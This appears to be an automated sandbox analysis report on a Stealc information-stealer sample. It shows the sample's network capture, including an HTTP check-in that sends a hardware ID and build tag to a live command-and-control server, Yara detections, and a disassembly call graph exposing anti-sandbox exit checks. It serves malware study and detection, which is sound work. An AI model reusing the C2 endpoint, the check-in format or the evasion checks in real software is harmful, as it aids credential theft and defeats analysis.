                                  Oct 31, 2024 04:16:01.563186884 CET8049725185.215.113.206192.168.2.6
                                  Oct 31, 2024 04:16:01.563374996 CET4972580192.168.2.6185.215.113.206
                                  Oct 31, 2024 04:16:01.565642118 CET4972580192.168.2.6185.215.113.206
                                  Oct 31, 2024 04:16:01.570467949 CET8049725185.215.113.206192.168.2.6
                                  Oct 31, 2024 04:16:02.484035969 CET8049725185.215.113.206192.168.2.6
                                  Oct 31, 2024 04:16:02.484097958 CET4972580192.168.2.6185.215.113.206
                                  Oct 31, 2024 04:16:02.489063025 CET4972580192.168.2.6185.215.113.206
                                  Oct 31, 2024 04:16:02.493978024 CET8049725185.215.113.206192.168.2.6
                                  Oct 31, 2024 04:16:02.780349016 CET8049725185.215.113.206192.168.2.6
                                  Oct 31, 2024 04:16:02.780417919 CET4972580192.168.2.6185.215.113.206
                                  Oct 31, 2024 04:16:05.368926048 CET4972580192.168.2.6185.215.113.206

                                  UDP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Oct 31, 2024 04:15:56.359366894 CET5302153192.168.2.61.1.1.1

                                  DNS Queries

                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                  Oct 31, 2024 04:15:56.359366894 CET192.168.2.61.1.1.10x177Standard query (0)tse1.mm.bing.netA (IP address)IN (0x0001)false

                                  DNS Answers

                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                  Oct 31, 2024 04:15:56.366658926 CET1.1.1.1192.168.2.60x177No error (0)tse1.mm.bing.netmm-mm.bing.net.trafficmanager.netCNAME (Canonical name)IN (0x0001)false
                                  Oct 31, 2024 04:15:56.366658926 CET1.1.1.1192.168.2.60x177No error (0)ax-0001.ax-msedge.net150.171.27.10A (IP address)IN (0x0001)false
                                  Oct 31, 2024 04:15:56.366658926 CET1.1.1.1192.168.2.60x177No error (0)ax-0001.ax-msedge.net150.171.28.10A (IP address)IN (0x0001)false
                                  Oct 31, 2024 04:16:08.951719999 CET1.1.1.1192.168.2.60xaa06No error (0)shed.dual-low.s-part-0017.t-0009.t-msedge.nets-part-0017.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                  Oct 31, 2024 04:16:08.951719999 CET1.1.1.1192.168.2.60xaa06No error (0)s-part-0017.t-0009.t-msedge.net13.107.246.45A (IP address)IN (0x0001)false
                                  Oct 31, 2024 04:16:15.537678003 CET1.1.1.1192.168.2.60x1fc1No error (0)fp2e7a.wpc.2be4.phicdn.netfp2e7a.wpc.phicdn.netCNAME (Canonical name)IN (0x0001)false
                                  Oct 31, 2024 04:16:15.537678003 CET1.1.1.1192.168.2.60x1fc1No error (0)fp2e7a.wpc.phicdn.net192.229.221.95A (IP address)IN (0x0001)false

                                  HTTP Request Dependency Graph

                                  • 185.215.113.206

                                  HTTP Packets

                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                  0192.168.2.649725185.215.113.20680716C:\Users\user\Desktop\file.exe
                                  TimestampBytes transferredDirectionData
                                  Oct 31, 2024 04:16:01.565642118 CET90OUTGET / HTTP/1.1
                                  Host: 185.215.113.206
                                  Connection: Keep-Alive
                                  Cache-Control: no-cache
                                  Oct 31, 2024 04:16:02.484035969 CET203INHTTP/1.1 200 OK
                                  Date: Thu, 31 Oct 2024 03:16:02 GMT
                                  Server: Apache/2.4.41 (Ubuntu)
                                  Content-Length: 0
                                  Keep-Alive: timeout=5, max=100
                                  Connection: Keep-Alive
                                  Content-Type: text/html; charset=UTF-8
                                  Oct 31, 2024 04:16:02.489063025 CET413OUTPOST /6c4adf523b719729.php HTTP/1.1
                                  Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII
                                  Host: 185.215.113.206
                                  Content-Length: 211
                                  Connection: Keep-Alive
                                  Cache-Control: no-cache
                                  Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 45 46 36 42 37 39 33 33 45 32 33 39 32 34 36 39 36 33 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a
                                  Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="hwid"CEEF6B7933E23924696330------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="build"tale------IEHCAKKJDBKKFHJJDHII--
                                  Oct 31, 2024 04:16:02.780349016 CET210INHTTP/1.1 200 OK
                                  Date: Thu, 31 Oct 2024 03:16:02 GMT
                                  Server: Apache/2.4.41 (Ubuntu)
                                  Content-Length: 8
                                  Keep-Alive: timeout=5, max=99
                                  Connection: Keep-Alive
                                  Content-Type: text/html; charset=UTF-8
                                  Data Raw: 59 6d 78 76 59 32 73 3d
                                  Data Ascii: YmxvY2s=


                                  Statistics

                                  CPU Usage

                                  Click to jump to process

                                  Memory Usage

                                  Click to jump to process

                                  High Level Behavior Distribution

                                  Click to dive into process behavior distribution

                                  System Behavior

                                  General

                                  Target ID:0
                                  Start time:23:15:57
                                  Start date:30/10/2024
                                  Path:C:\Users\user\Desktop\file.exe
                                  Wow64 process (32bit):true
                                  Commandline:"C:\Users\user\Desktop\file.exe"
                                  Imagebase:0xe10000
                                  File size:2'085'888 bytes
                                  MD5 hash:E4B956C7C98758B0FEDDA4156545593D
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Yara matches:
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                  • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2114793571.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                  Reputation:low
                                  Has exited:true

                                  Disassembly

                                  Reset < >

                                    Execution Graph

                                    Execution Coverage:3%
                                    Dynamic/Decrypted Code Coverage:0%
                                    Signature Coverage:3.5%
                                    Total number of Nodes:1327
                                    Total number of Limit Nodes:24
                                    execution_graph 37531 e26c90 37576 e122a0 37531->37576 37555 e26d04 37556 e2acc0 4 API calls 37555->37556 37557 e26d0b 37556->37557 37558 e2acc0 4 API calls 37557->37558 37559 e26d12 37558->37559 37560 e2acc0 4 API calls 37559->37560 37561 e26d19 37560->37561 37562 e2acc0 4 API calls 37561->37562 37563 e26d20 37562->37563 37728 e2abb0 37563->37728 37565 e26dac 37732 e26bc0 GetSystemTime 37565->37732 37567 e26d29 37567->37565 37569 e26d62 OpenEventA 37567->37569 37571 e26d95 CloseHandle Sleep 37569->37571 37572 e26d79 37569->37572 37573 e26daa 37571->37573 37575 e26d81 CreateEventA 37572->37575 37573->37567 37574 e26db6 CloseHandle ExitProcess 37575->37565 37929 e14610 37576->37929 37578 e122b4 37579 e14610 2 API calls 37578->37579 37580 e122cd 37579->37580 37581 e14610 2 API calls 37580->37581 37582 e122e6 37581->37582 37583 e14610 2 API calls 37582->37583 37584 e122ff 37583->37584 37585 e14610 2 API calls 37584->37585 37586 e12318 37585->37586 37587 e14610 2 API calls 37586->37587 37588 e12331 37587->37588 37589 e14610 2 API calls 37588->37589 37590 e1234a 37589->37590 37591 e14610 2 API calls 37590->37591 37592 e12363 37591->37592 37593 e14610 2 API calls 37592->37593 37594 e1237c 37593->37594 37595 e14610 2 API calls 37594->37595 37596 e12395 37595->37596 37597 e14610 2 API calls 37596->37597 37598 e123ae 37597->37598 37599 e14610 2 API calls 37598->37599 37600 e123c7 37599->37600 37601 e14610 2 API calls 37600->37601 37602 e123e0 37601->37602 37603 e14610 2 API calls 37602->37603 37604 e123f9 37603->37604 37605 e14610 2 API calls 37604->37605 37606 e12412 37605->37606 37607 e14610 2 API calls 37606->37607 37608 e1242b 37607->37608 37609 e14610 2 API calls 37608->37609 37610 e12444 37609->37610 37611 e14610 2 API calls 37610->37611 37612 e1245d 37611->37612 37613 e14610 2 API calls 37612->37613 37614 e12476 37613->37614 37615 e14610 2 API calls 37614->37615 37616 e1248f 37615->37616 37617 e14610 2 API calls 37616->37617 37618 e124a8 37617->37618 37619 e14610 2 API calls 37618->37619 37620 e124c1 37619->37620 37621 e14610 2 API calls 37620->37621 37622 e124da 37621->37622 37623 e14610 2 API calls 37622->37623 37624 e124f3 37623->37624 37625 e14610 2 API calls 37624->37625 37626 e1250c 37625->37626 37627 e14610 2 API calls 37626->37627 37628 e12525 37627->37628 37629 e14610 2 API calls 37628->37629 37630 e1253e 37629->37630 37631 e14610 2 API calls 37630->37631 37632 e12557 37631->37632 37633 e14610 2 API calls 37632->37633 37634 e12570 37633->37634 37635 e14610 2 API calls 37634->37635 37636 e12589 37635->37636 37637 e14610 2 API calls 37636->37637 37638 e125a2 37637->37638 37639 e14610 2 API calls 37638->37639 37640 e125bb 37639->37640 37641 e14610 2 API calls 37640->37641 37642 e125d4 37641->37642 37643 e14610 2 API calls 37642->37643 37644 e125ed 37643->37644 37645 e14610 2 API calls 37644->37645 37646 e12606 37645->37646 37647 e14610 2 API calls 37646->37647 37648 e1261f 37647->37648 37649 e14610 2 API calls 37648->37649 37650 e12638 37649->37650 37651 e14610 2 API calls 37650->37651 37652 e12651 37651->37652 37653 e14610 2 API calls 37652->37653 37654 e1266a 37653->37654 37655 e14610 2 API calls 37654->37655 37656 e12683 37655->37656 37657 e14610 2 API calls 37656->37657 37658 e1269c 37657->37658 37659 e14610 2 API calls 37658->37659 37660 e126b5 37659->37660 37661 e14610 2 API calls 37660->37661 37662 e126ce 37661->37662 37663 e29bb0 37662->37663 37934 e29aa0 GetPEB 37663->37934 37665 e29bb8 37666 e29de3 LoadLibraryA LoadLibraryA LoadLibraryA LoadLibraryA LoadLibraryA 37665->37666 37667 e29bca 37665->37667 37668 e29e44 GetProcAddress 37666->37668 37669 e29e5d 37666->37669 37670 e29bdc 21 API calls 37667->37670 37668->37669 37671 e29e96 37669->37671 37672 e29e66 GetProcAddress GetProcAddress 37669->37672 37670->37666 37673 e29eb8 37671->37673 37674 e29e9f GetProcAddress 37671->37674 37672->37671 37675 e29ec1 GetProcAddress 37673->37675 37676 e29ed9 37673->37676 37674->37673 37675->37676 37677 e29ee2 GetProcAddress GetProcAddress 37676->37677 37678 e26ca0 37676->37678 37677->37678 37679 e2aa50 37678->37679 37680 e2aa60 37679->37680 37681 e26cad 37680->37681 37682 e2aa8e lstrcpy 37680->37682 37683 e111d0 37681->37683 37682->37681 37684 e111e8 37683->37684 37685 e11217 37684->37685 37686 e1120f ExitProcess 37684->37686 37687 e11160 GetSystemInfo 37685->37687 37688 e11184 37687->37688 37689 e1117c ExitProcess 37687->37689 37690 e11110 GetCurrentProcess VirtualAllocExNuma 37688->37690 37691 e11141 ExitProcess 37690->37691 37692 e11149 37690->37692 37935 e110a0 VirtualAlloc 37692->37935 37695 e11220 37939 e28b40 37695->37939 37698 e11249 __aulldiv 37699 e1129a 37698->37699 37700 e11292 ExitProcess 37698->37700 37701 e26a10 GetUserDefaultLangID 37699->37701 37702 e26a32 37701->37702 37703 e26a73 37701->37703 37702->37703 37704 e26a43 ExitProcess 37702->37704 37705 e26a61 ExitProcess 37702->37705 37706 e26a57 ExitProcess 37702->37706 37707 e26a6b ExitProcess 37702->37707 37708 e26a4d ExitProcess 37702->37708 37709 e11190 37703->37709 37707->37703 37710 e27a70 3 API calls 37709->37710 37711 e1119e 37710->37711 37712 e111cc 37711->37712 37713 e279e0 3 API calls 37711->37713 37716 e279e0 GetProcessHeap RtlAllocateHeap GetUserNameA 37712->37716 37714 e111b7 37713->37714 37714->37712 37715 e111c4 ExitProcess 37714->37715 37717 e26cd0 37716->37717 37718 e27a70 GetProcessHeap RtlAllocateHeap GetComputerNameA 37717->37718 37719 e26ce3 37718->37719 37720 e2acc0 37719->37720 37941 e2aa20 37720->37941 37722 e2acd1 lstrlen 37724 e2acf0 37722->37724 37723 e2ad28 37942 e2aab0 37723->37942 37724->37723 37726 e2ad0a lstrcpy lstrcat 37724->37726 37726->37723 37727 e2ad34 37727->37555 37729 e2abcb 37728->37729 37730 e2ac1b 37729->37730 37731 e2ac09 lstrcpy 37729->37731 37730->37567 37731->37730 37946 e26ac0 37732->37946 37734 e26c2e 37735 e26c38 sscanf 37734->37735 37975 e2ab10 37735->37975 37737 e26c4a SystemTimeToFileTime SystemTimeToFileTime 37738 e26c80 37737->37738 37739 e26c6e 37737->37739 37741 e25d60 37738->37741 37739->37738 37740 e26c78 ExitProcess 37739->37740 37742 e25d6d 37741->37742 37743 e2aa50 lstrcpy 37742->37743 37744 e25d7e 37743->37744 37977 e2ab30 lstrlen 37744->37977 37747 e2ab30 2 API calls 37748 e25db4 37747->37748 37749 e2ab30 2 API calls 37748->37749 37750 e25dc4 37749->37750 37981 e26680 37750->37981 37753 e2ab30 2 API calls 37754 e25de3 37753->37754 37755 e2ab30 2 API calls 37754->37755 37756 e25df0 37755->37756 37757 e2ab30 2 API calls 37756->37757 37758 e25dfd 37757->37758 37759 e2ab30 2 API calls 37758->37759 37760 e25e49 37759->37760 37990 e126f0 37760->37990 37768 e25f13 37769 e26680 lstrcpy 37768->37769 37770 e25f25 37769->37770 37771 e2aab0 lstrcpy 37770->37771 37772 e25f42 37771->37772 37773 e2acc0 4 API calls 37772->37773 37774 e25f5a 37773->37774 37775 e2abb0 lstrcpy 37774->37775 37776 e25f66 37775->37776 37777 e2acc0 4 API calls 37776->37777 37778 e25f8a 37777->37778 37779 e2abb0 lstrcpy 37778->37779 37780 e25f96 37779->37780 37781 e2acc0 4 API calls 37780->37781 37782 e25fba 37781->37782 37783 e2abb0 lstrcpy 37782->37783 37784 e25fc6 37783->37784 37785 e2aa50 lstrcpy 37784->37785 37786 e25fee 37785->37786 38716 e27690 GetWindowsDirectoryA 37786->38716 37789 e2aab0 lstrcpy 37790 e26008 37789->37790 38726 e148d0 37790->38726 37792 e2600e 38871 e219f0 37792->38871 37794 e26016 37795 e2aa50 lstrcpy 37794->37795 37796 e26039 37795->37796 37797 e11590 lstrcpy 37796->37797 37798 e2604d 37797->37798 38887 e159b0 34 API calls codecvt 37798->38887 37800 e26053 38888 e21280 lstrlen lstrcpy 37800->38888 37802 e2605e 37803 e2aa50 lstrcpy 37802->37803 37804 e26082 37803->37804 37805 e11590 lstrcpy 37804->37805 37806 e26096 37805->37806 38889 e159b0 34 API calls codecvt 37806->38889 37808 e2609c 38890 e20fc0 StrCmpCA StrCmpCA StrCmpCA lstrlen lstrcpy 37808->38890 37810 e260a7 37811 e2aa50 lstrcpy 37810->37811 37812 e260c9 37811->37812 37813 e11590 lstrcpy 37812->37813 37814 e260dd 37813->37814 38891 e159b0 34 API calls codecvt 37814->38891 37816 e260e3 38892 e21170 StrCmpCA lstrlen lstrcpy 37816->38892 37818 e260ee 37819 e11590 lstrcpy 37818->37819 37820 e26105 37819->37820 38893 e21c60 115 API calls 37820->38893 37822 e2610a 37823 e2aa50 lstrcpy 37822->37823 37824 e26126 37823->37824 38894 e15000 7 API calls 37824->38894 37826 e2612b 37827 e11590 lstrcpy 37826->37827 37828 e261ab 37827->37828 38895 e208a0 288 API calls 37828->38895 37830 e261b0 37831 e2aa50 lstrcpy 37830->37831 37832 e261d6 37831->37832 37833 e11590 lstrcpy 37832->37833 37834 e261ea 37833->37834 38896 e159b0 34 API calls codecvt 37834->38896 37836 e261f0 38897 e213c0 StrCmpCA lstrlen lstrcpy 37836->38897 37838 e261fb 37839 e11590 lstrcpy 37838->37839 37840 e2623b 37839->37840 38898 e11ec0 59 API calls 37840->38898 37842 e26240 37843 e262e2 37842->37843 37844 e26250 37842->37844 37845 e2aab0 lstrcpy 37843->37845 37846 e2aa50 lstrcpy 37844->37846 37847 e262f5 37845->37847 37848 e26270 37846->37848 37849 e11590 lstrcpy 37847->37849 37850 e11590 lstrcpy 37848->37850 37851 e26309 37849->37851 37852 e26284 37850->37852 38902 e159b0 34 API calls codecvt 37851->38902 38899 e159b0 34 API calls codecvt 37852->38899 37855 e2630f 38903 e237b0 31 API calls 37855->38903 37856 e2628a 38900 e21520 19 API calls codecvt 37856->38900 37859 e262da 37863 e2635b 37859->37863 37866 e11590 lstrcpy 37859->37866 37860 e26295 37861 e11590 lstrcpy 37860->37861 37862 e262d5 37861->37862 38901 e24010 67 API calls 37862->38901 37865 e26380 37863->37865 37868 e11590 lstrcpy 37863->37868 37869 e263a5 37865->37869 37873 e11590 lstrcpy 37865->37873 37867 e26337 37866->37867 38904 e24300 58 API calls codecvt 37867->38904 37872 e2637b 37868->37872 37871 e263ca 37869->37871 37876 e11590 lstrcpy 37869->37876 37877 e263ef 37871->37877 37883 e11590 lstrcpy 37871->37883 38906 e249d0 88 API calls codecvt 37872->38906 37874 e263a0 37873->37874 38907 e24e00 61 API calls codecvt 37874->38907 37875 e2633c 37881 e11590 lstrcpy 37875->37881 37882 e263c5 37876->37882 37879 e26414 37877->37879 37884 e11590 lstrcpy 37877->37884 37886 e26439 37879->37886 37891 e11590 lstrcpy 37879->37891 37885 e26356 37881->37885 38908 e24fc0 65 API calls 37882->38908 37888 e263ea 37883->37888 37889 e2640f 37884->37889 38905 e25350 45 API calls 37885->38905 37892 e26460 37886->37892 37898 e11590 lstrcpy 37886->37898 38909 e25190 63 API calls codecvt 37888->38909 38910 e17770 108 API calls codecvt 37889->38910 37897 e26434 37891->37897 37894 e26503 37892->37894 37895 e26470 37892->37895 37899 e2aab0 lstrcpy 37894->37899 37900 e2aa50 lstrcpy 37895->37900 38911 e252a0 61 API calls codecvt 37897->38911 37902 e26459 37898->37902 37903 e26516 37899->37903 37904 e26491 37900->37904 38912 e291a0 46 API calls codecvt 37902->38912 37906 e11590 lstrcpy 37903->37906 37907 e11590 lstrcpy 37904->37907 37908 e2652a 37906->37908 37909 e264a5 37907->37909 38916 e159b0 34 API calls codecvt 37908->38916 38913 e159b0 34 API calls codecvt 37909->38913 37912 e26530 38917 e237b0 31 API calls 37912->38917 37913 e264ab 38914 e21520 19 API calls codecvt 37913->38914 37916 e264fb 37919 e2aab0 lstrcpy 37916->37919 37917 e264b6 37918 e11590 lstrcpy 37917->37918 37920 e264f6 37918->37920 37921 e2654c 37919->37921 38915 e24010 67 API calls 37920->38915 37923 e11590 lstrcpy 37921->37923 37924 e26560 37923->37924 38918 e159b0 34 API calls codecvt 37924->38918 37926 e2656c 37928 e26588 37926->37928 38919 e268d0 9 API calls codecvt 37926->38919 37928->37574 37930 e14621 RtlAllocateHeap 37929->37930 37933 e14671 VirtualProtect 37930->37933 37933->37578 37934->37665 37936 e110c2 codecvt 37935->37936 37937 e110fd 37936->37937 37938 e110e2 VirtualFree 37936->37938 37937->37695 37938->37937 37940 e11233 GlobalMemoryStatusEx 37939->37940 37940->37698 37941->37722 37943 e2aad2 37942->37943 37944 e2aafc 37943->37944 37945 e2aaea lstrcpy 37943->37945 37944->37727 37945->37944 37947 e2aa50 lstrcpy 37946->37947 37948 e26ad3 37947->37948 37949 e2acc0 4 API calls 37948->37949 37950 e26ae5 37949->37950 37951 e2abb0 lstrcpy 37950->37951 37952 e26aee 37951->37952 37953 e2acc0 4 API calls 37952->37953 37954 e26b07 37953->37954 37955 e2abb0 lstrcpy 37954->37955 37956 e26b10 37955->37956 37957 e2acc0 4 API calls 37956->37957 37958 e26b2a 37957->37958 37959 e2abb0 lstrcpy 37958->37959 37960 e26b33 37959->37960 37961 e2acc0 4 API calls 37960->37961 37962 e26b4c 37961->37962 37963 e2abb0 lstrcpy 37962->37963 37964 e26b55 37963->37964 37965 e2acc0 4 API calls 37964->37965 37966 e26b6f 37965->37966 37967 e2abb0 lstrcpy 37966->37967 37968 e26b78 37967->37968 37969 e2acc0 4 API calls 37968->37969 37970 e26b93 37969->37970 37971 e2abb0 lstrcpy 37970->37971 37972 e26b9c 37971->37972 37973 e2aab0 lstrcpy 37972->37973 37974 e26bb0 37973->37974 37974->37734 37976 e2ab22 37975->37976 37976->37737 37978 e2ab4f 37977->37978 37979 e25da4 37978->37979 37980 e2ab8b lstrcpy 37978->37980 37979->37747 37980->37979 37982 e2abb0 lstrcpy 37981->37982 37983 e26693 37982->37983 37984 e2abb0 lstrcpy 37983->37984 37985 e266a5 37984->37985 37986 e2abb0 lstrcpy 37985->37986 37987 e266b7 37986->37987 37988 e2abb0 lstrcpy 37987->37988 37989 e25dd6 37988->37989 37989->37753 37991 e14610 2 API calls 37990->37991 37992 e12704 37991->37992 37993 e14610 2 API calls 37992->37993 37994 e12727 37993->37994 37995 e14610 2 API calls 37994->37995 37996 e12740 37995->37996 37997 e14610 2 API calls 37996->37997 37998 e12759 37997->37998 37999 e14610 2 API calls 37998->37999 38000 e12786 37999->38000 38001 e14610 2 API calls 38000->38001 38002 e1279f 38001->38002 38003 e14610 2 API calls 38002->38003 38004 e127b8 38003->38004 38005 e14610 2 API calls 38004->38005 38006 e127e5 38005->38006 38007 e14610 2 API calls 38006->38007 38008 e127fe 38007->38008 38009 e14610 2 API calls 38008->38009 38010 e12817 38009->38010 38011 e14610 2 API calls 38010->38011 38012 e12830 38011->38012 38013 e14610 2 API calls 38012->38013 38014 e12849 38013->38014 38015 e14610 2 API calls 38014->38015 38016 e12862 38015->38016 38017 e14610 2 API calls 38016->38017 38018 e1287b 38017->38018 38019 e14610 2 API calls 38018->38019 38020 e12894 38019->38020 38021 e14610 2 API calls 38020->38021 38022 e128ad 38021->38022 38023 e14610 2 API calls 38022->38023 38024 e128c6 38023->38024 38025 e14610 2 API calls 38024->38025 38026 e128df 38025->38026 38027 e14610 2 API calls 38026->38027 38028 e128f8 38027->38028 38029 e14610 2 API calls 38028->38029 38030 e12911 38029->38030 38031 e14610 2 API calls 38030->38031 38032 e1292a 38031->38032 38033 e14610 2 API calls 38032->38033 38034 e12943 38033->38034 38035 e14610 2 API calls 38034->38035 38036 e1295c 38035->38036 38037 e14610 2 API calls 38036->38037 38038 e12975 38037->38038 38039 e14610 2 API calls 38038->38039 38040 e1298e 38039->38040 38041 e14610 2 API calls 38040->38041 38042 e129a7 38041->38042 38043 e14610 2 API calls 38042->38043 38044 e129c0 38043->38044 38045 e14610 2 API calls 38044->38045 38046 e129d9 38045->38046 38047 e14610 2 API calls 38046->38047 38048 e129f2 38047->38048 38049 e14610 2 API calls 38048->38049 38050 e12a0b 38049->38050 38051 e14610 2 API calls 38050->38051 38052 e12a24 38051->38052 38053 e14610 2 API calls 38052->38053 38054 e12a3d 38053->38054 38055 e14610 2 API calls 38054->38055 38056 e12a56 38055->38056 38057 e14610 2 API calls 38056->38057 38058 e12a6f 38057->38058 38059 e14610 2 API calls 38058->38059 38060 e12a88 38059->38060 38061 e14610 2 API calls 38060->38061 38062 e12aa1 38061->38062 38063 e14610 2 API calls 38062->38063 38064 e12aba 38063->38064 38065 e14610 2 API calls 38064->38065 38066 e12ad3 38065->38066 38067 e14610 2 API calls 38066->38067 38068 e12aec 38067->38068 38069 e14610 2 API calls 38068->38069 38070 e12b05 38069->38070 38071 e14610 2 API calls 38070->38071 38072 e12b1e 38071->38072 38073 e14610 2 API calls 38072->38073 38074 e12b37 38073->38074 38075 e14610 2 API calls 38074->38075 38076 e12b50 38075->38076 38077 e14610 2 API calls 38076->38077 38078 e12b69 38077->38078 38079 e14610 2 API calls 38078->38079 38080 e12b82 38079->38080 38081 e14610 2 API calls 38080->38081 38082 e12b9b 38081->38082 38083 e14610 2 API calls 38082->38083 38084 e12bb4 38083->38084 38085 e14610 2 API calls 38084->38085 38086 e12bcd 38085->38086 38087 e14610 2 API calls 38086->38087 38088 e12be6 38087->38088 38089 e14610 2 API calls 38088->38089 38090 e12bff 38089->38090 38091 e14610 2 API calls 38090->38091 38092 e12c18 38091->38092 38093 e14610 2 API calls 38092->38093 38094 e12c31 38093->38094 38095 e14610 2 API calls 38094->38095 38096 e12c4a 38095->38096 38097 e14610 2 API calls 38096->38097 38098 e12c63 38097->38098 38099 e14610 2 API calls 38098->38099 38100 e12c7c 38099->38100 38101 e14610 2 API calls 38100->38101 38102 e12c95 38101->38102 38103 e14610 2 API calls 38102->38103 38104 e12cae 38103->38104 38105 e14610 2 API calls 38104->38105 38106 e12cc7 38105->38106 38107 e14610 2 API calls 38106->38107 38108 e12ce0 38107->38108 38109 e14610 2 API calls 38108->38109 38110 e12cf9 38109->38110 38111 e14610 2 API calls 38110->38111 38112 e12d12 38111->38112 38113 e14610 2 API calls 38112->38113 38114 e12d2b 38113->38114 38115 e14610 2 API calls 38114->38115 38116 e12d44 38115->38116 38117 e14610 2 API calls 38116->38117 38118 e12d5d 38117->38118 38119 e14610 2 API calls 38118->38119 38120 e12d76 38119->38120 38121 e14610 2 API calls 38120->38121 38122 e12d8f 38121->38122 38123 e14610 2 API calls 38122->38123 38124 e12da8 38123->38124 38125 e14610 2 API calls 38124->38125 38126 e12dc1 38125->38126 38127 e14610 2 API calls 38126->38127 38128 e12dda 38127->38128 38129 e14610 2 API calls 38128->38129 38130 e12df3 38129->38130 38131 e14610 2 API calls 38130->38131 38132 e12e0c 38131->38132 38133 e14610 2 API calls 38132->38133 38134 e12e25 38133->38134 38135 e14610 2 API calls 38134->38135 38136 e12e3e 38135->38136 38137 e14610 2 API calls 38136->38137 38138 e12e57 38137->38138 38139 e14610 2 API calls 38138->38139 38140 e12e70 38139->38140 38141 e14610 2 API calls 38140->38141 38142 e12e89 38141->38142 38143 e14610 2 API calls 38142->38143 38144 e12ea2 38143->38144 38145 e14610 2 API calls 38144->38145 38146 e12ebb 38145->38146 38147 e14610 2 API calls 38146->38147 38148 e12ed4 38147->38148 38149 e14610 2 API calls 38148->38149 38150 e12eed 38149->38150 38151 e14610 2 API calls 38150->38151 38152 e12f06 38151->38152 38153 e14610 2 API calls 38152->38153 38154 e12f1f 38153->38154 38155 e14610 2 API calls 38154->38155 38156 e12f38 38155->38156 38157 e14610 2 API calls 38156->38157 38158 e12f51 38157->38158 38159 e14610 2 API calls 38158->38159 38160 e12f6a 38159->38160 38161 e14610 2 API calls 38160->38161 38162 e12f83 38161->38162 38163 e14610 2 API calls 38162->38163 38164 e12f9c 38163->38164 38165 e14610 2 API calls 38164->38165 38166 e12fb5 38165->38166 38167 e14610 2 API calls 38166->38167 38168 e12fce 38167->38168 38169 e14610 2 API calls 38168->38169 38170 e12fe7 38169->38170 38171 e14610 2 API calls 38170->38171 38172 e13000 38171->38172 38173 e14610 2 API calls 38172->38173 38174 e13019 38173->38174 38175 e14610 2 API calls 38174->38175 38176 e13032 38175->38176 38177 e14610 2 API calls 38176->38177 38178 e1304b 38177->38178 38179 e14610 2 API calls 38178->38179 38180 e13064 38179->38180 38181 e14610 2 API calls 38180->38181 38182 e1307d 38181->38182 38183 e14610 2 API calls 38182->38183 38184 e13096 38183->38184 38185 e14610 2 API calls 38184->38185 38186 e130af 38185->38186 38187 e14610 2 API calls 38186->38187 38188 e130c8 38187->38188 38189 e14610 2 API calls 38188->38189 38190 e130e1 38189->38190 38191 e14610 2 API calls 38190->38191 38192 e130fa 38191->38192 38193 e14610 2 API calls 38192->38193 38194 e13113 38193->38194 38195 e14610 2 API calls 38194->38195 38196 e1312c 38195->38196 38197 e14610 2 API calls 38196->38197 38198 e13145 38197->38198 38199 e14610 2 API calls 38198->38199 38200 e1315e 38199->38200 38201 e14610 2 API calls 38200->38201 38202 e13177 38201->38202 38203 e14610 2 API calls 38202->38203 38204 e13190 38203->38204 38205 e14610 2 API calls 38204->38205 38206 e131a9 38205->38206 38207 e14610 2 API calls 38206->38207 38208 e131c2 38207->38208 38209 e14610 2 API calls 38208->38209 38210 e131db 38209->38210 38211 e14610 2 API calls 38210->38211 38212 e131f4 38211->38212 38213 e14610 2 API calls 38212->38213 38214 e1320d 38213->38214 38215 e14610 2 API calls 38214->38215 38216 e13226 38215->38216 38217 e14610 2 API calls 38216->38217 38218 e1323f 38217->38218 38219 e14610 2 API calls 38218->38219 38220 e13258 38219->38220 38221 e14610 2 API calls 38220->38221 38222 e13271 38221->38222 38223 e14610 2 API calls 38222->38223 38224 e1328a 38223->38224 38225 e14610 2 API calls 38224->38225 38226 e132a3 38225->38226 38227 e14610 2 API calls 38226->38227 38228 e132bc 38227->38228 38229 e14610 2 API calls 38228->38229 38230 e132d5 38229->38230 38231 e14610 2 API calls 38230->38231 38232 e132ee 38231->38232 38233 e14610 2 API calls 38232->38233 38234 e13307 38233->38234 38235 e14610 2 API calls 38234->38235 38236 e13320 38235->38236 38237 e14610 2 API calls 38236->38237 38238 e13339 38237->38238 38239 e14610 2 API calls 38238->38239 38240 e13352 38239->38240 38241 e14610 2 API calls 38240->38241 38242 e1336b 38241->38242 38243 e14610 2 API calls 38242->38243 38244 e13384 38243->38244 38245 e14610 2 API calls 38244->38245 38246 e1339d 38245->38246 38247 e14610 2 API calls 38246->38247 38248 e133b6 38247->38248 38249 e14610 2 API calls 38248->38249 38250 e133cf 